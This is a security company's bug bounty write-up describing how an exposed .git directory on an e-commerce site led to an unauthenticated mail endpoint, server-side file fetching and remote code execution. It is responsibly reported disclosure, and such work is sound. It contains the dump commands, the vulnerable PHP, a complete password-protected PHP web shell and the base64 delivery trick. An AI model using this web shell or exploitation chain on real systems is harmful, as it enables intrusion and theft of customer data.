From .git Disclosure to Remote Code Execution & More
Introduction
This post is a writeup of one of our recent bug bounty findings, powered by Sudarshana’s ASM (Attack Surface Management) program. The goal of this blog is to share the real steps we took, what worked, what failed, and the takeaways. This should help in demonstrating capabilities of our ASM along with presenting vulnerability discovered in production environment on one of the biggest e-commerce company.
Initial Discovery
On June 29, our ASM platform flagged many hits including the following that looked worth a closer look.
At first, we did not find this special, as firewall usually blocks attempts to download /.git/*
contents, but it was added to our queue for review. The next day, June 30, we visited the target casually and noticed it exposed some credentials related to a private owned GitLab instance.
However, on July 3 we went back to check those credentials properly. Upon validating the credentials using git clone
, it was found that the credentials did not work. Hence, we moved towards attempting .git/
directory dump using git_dumper.
Reviewing the dump
The commands used to dump are as follows:
root@worker999:/dev/shm/git-dumper# mkdir [redacted].co.zaroot@worker999:/dev/shm/git-dumper# python3 git_dumper.py https://[redacted].co.za/.git/ [redacted].co.za/[-] Testing https://[redacted].co.za/.git/HEAD [200][-] Testing https://[redacted].co.za/.git/ [403][-] Fetching common files[...][-] Running git checkout .root@worker999:/dev/shm/git-dumper# cd [redacted].co.za/root@worker999:/dev/shm/git-dumper/[redacted].co.za# ls -latotal 20drwxr-xr-x 3 root root 120 Jul 4 00:08 .drwxr-xr-x 6 root root 280 Jul 4 00:07 ..-rw-r--r-- 1 root root 1186 Jul 4 00:08 CHANGE-LOG.md-rw-r--r-- 1 root root 10717 Jul 4 00:08 mail.phpdrwxr-xr-x 5 root root 180 Jul 4 00:08 .git-rw-r--r-- 1 root root 5 Jul 4 00:08 VERSIONINFO
Out of the three files retrieved from the dump, the mail.php
file stood out as the most interesting. It contained over 290 lines of code, which gave us a high level of confidence that it might hold something interesting.
Initially, we were expecting to find database or mail service credentials, but upon reading the file from a high-level overview, we confirmed that there were none.
Honestly, the code was a bit messy as well and we did not want to manually craft request at this point. So, we got LLM to help us by constructing HTTP request with correct parameters and expected values.
Using LLM for Lazy Work
Passing the entire PHP file to LLM with the prompt: “can you make me a testing http request?”. This generated following response.
As beginning with simple steps is preferred over throwing full-fledge exploit, we first aimed on validating the mail send functionality. For this, we converted the curl request to raw HTTP request to use with Burp Suite’s Repeater.
The “Message sent” response indicates that something is actually working! Additionally, the response is not received when no parameters are passed to the same endpoint.
On other hand, we heard beeping notification in my mail box:
At this point, we were not sure what was yet to come, but we had found one vulnerability already: Unauthorized Access to Send Mail Functionality.
Exploring File Attachment Vulnerability
Moving forward to the second example presented by LLM: an email with attachments. We attempted to reproduce the vulnerability using the LLM’s Curl output and converting it to Burp Suite’s Repeater. However, despite numerous attempts, we were unsuccessful in sending external interaction to our collaborator URL. Additionally, no attachments were observed in the incoming emails.
This was the moment we chose to manually dig into the email.php
file and see what was going wrong. In just two minutes, we discovered three issues that the LLM had, despite having full source code available.:
-
Incorrect parameter name
[...] $this->displayFilename = isset($_POST['fileName']) ? $_POST['fileName'] : ''; [...]
Here, LLM got confused and could not determine the correct parameter name. Though we know that if we had forced LLM to recheck, it could find this mistake easily. Also, we want to emphasize here how much we trust that whatever output LLM has produced, it is correct.
-
Missing additional parameter required to issue external requests
[...] if (!isset($_POST['external'])) { if ($this->displayFilename !== "") { $mail->addAttachment($this->displayFilename); } } else { [...] }
This cannot be claimed as an error right away, but LLM could have been presented an additional example citing the usage of
external
parameter to execute a file download operation. -
Not presenting user input in required format
} else { if (strstr($this->displayFilename, '^^^')) { $objFiles = explode('^^^', $this->displayFilename); [...] }
To have the user input enter into a curl operation, it has to pass this weird delimiter check and should be starting with
^^^
for compatibility. This was again missed by the LLM in the first place.
Achieving External Interaction
With the said changes, we relaunched attack and voila!
We received HTTP request on the collaborator URL. Now, is the time to share good news:
[...]
} else{
[...]
if ($f != '') {
$filename = explode( '/', $f );
$filename = $filename[count($filename)-1];
$filecontents = $this->curl_file_get_contents( $f );
$serverArr = explode( 'www.', $_SERVER['SERVER_NAME'] );
if (count($serverArr) > 1) {
$server = $serverArr[1];
} else {
$server = $serverArr[0];
}
$fp = fopen('/var/www/app/pdf/'.$filename, 'w+');
fwrite($fp, $filecontents);
fclose($fp);
$mail->addAttachment('/var/www/mail_web_app/pdf/'.$filename );
}
[...]
This code left us with surprise and high-adrenaline spirit, both at the same time. As we have control over file download and if the /pdf
directory is part of the web server, then it was RCE in plain sight.
Our next aim was only to see if the /pdf/
or /mail_web_app/pdf/
exists on the server. From our knowledge, we knew that in PHP web servers, if any directory exists, visiting the web server with a valid directory name will redirect to the same endpoint with trailing /
slash confirming the presence of the directory.
This validation felt like us being only a step away from building a masterpiece lego. We can easily upload a web shell as there is no validations or blockers on the script.
Delivering the Web Shell
Even with this boost, we did not go right away uploading a noobie webshell which has obvious names like shell.php
and is not password protected. This is definitely not recommended, as it may put customers servers at a huge stake.
Following is the web shell we used:
# filename: e07910a06a086c83ba41827aa00b26ed-f60f7f9acf11b3b991f4e9880be3182c.php
<?php
$password = [super-strong-password-in-quotes];
if (!isset($_REQUEST['pass']) || $_REQUEST['pass'] !== $password) {
die('Unauthorized');
}
if (isset($_REQUEST['cmd'])) {
$cmd = $_REQUEST['cmd'];
echo "<pre>";
system($cmd);
echo "</pre>";
} else {
echo 'No command specified';
}
We encountered a few minutes of difficulty delivering our web shell. This was because the technology we use to host our payloads is also built on PHP. When the target application attempted to download the actual web shell, it only received an “Unauthorized” response.
I believe this small error was due to extreme excitement, but it’s important to remember that silly mistakes are quite common.
Later, we realized the cause and converted the base64 of the web shell and used it as follows to actually respond actual web shell as part of HTTP response rather than “unauthorized” keyword.
<?php
echo base64_decode('<base64-encoded-version-of-original-webshell>');
This worked as intended, and we successfully executed OS commands on the system.
After roaming around for a while in the system, I found that the current /pdf
directory contains 3000+ PDF documents which were downloaded previously for email purposes. From the PDF names, it was determined that these documents contain customer and organization-related sensitive documents which could result in PII leakage and sensitive business information disclosure. Hence, escalating the nature of the issue.
Reporting Timeline:
- July 3, 2025, 8:58 pm - Reported to the program
- July 4, 2025, 3:33 am - Validated by triager and sent for program review
- July 8, 2025, 3:44 pm - Triaged
- July 15, 2025, 10:30 am - Bounty awarded $XXXX
At Sudarshana, we believe that continuous security testing is not just a nice-to-have, but an essential part of staying ahead of threats. We blend AI-driven automation with skilled manual testing by our seasoned testers at places where today’s AI still falls short. This approach ensures our clients get thorough, real-world coverage, not just checkbox results.
With our Penetration Testing, Attack Surface Management, Red Teaming, and Defensive Security services, we help organizations truly understand their risk and reduce it.
If you would like to learn more about what we offer, please get in touch.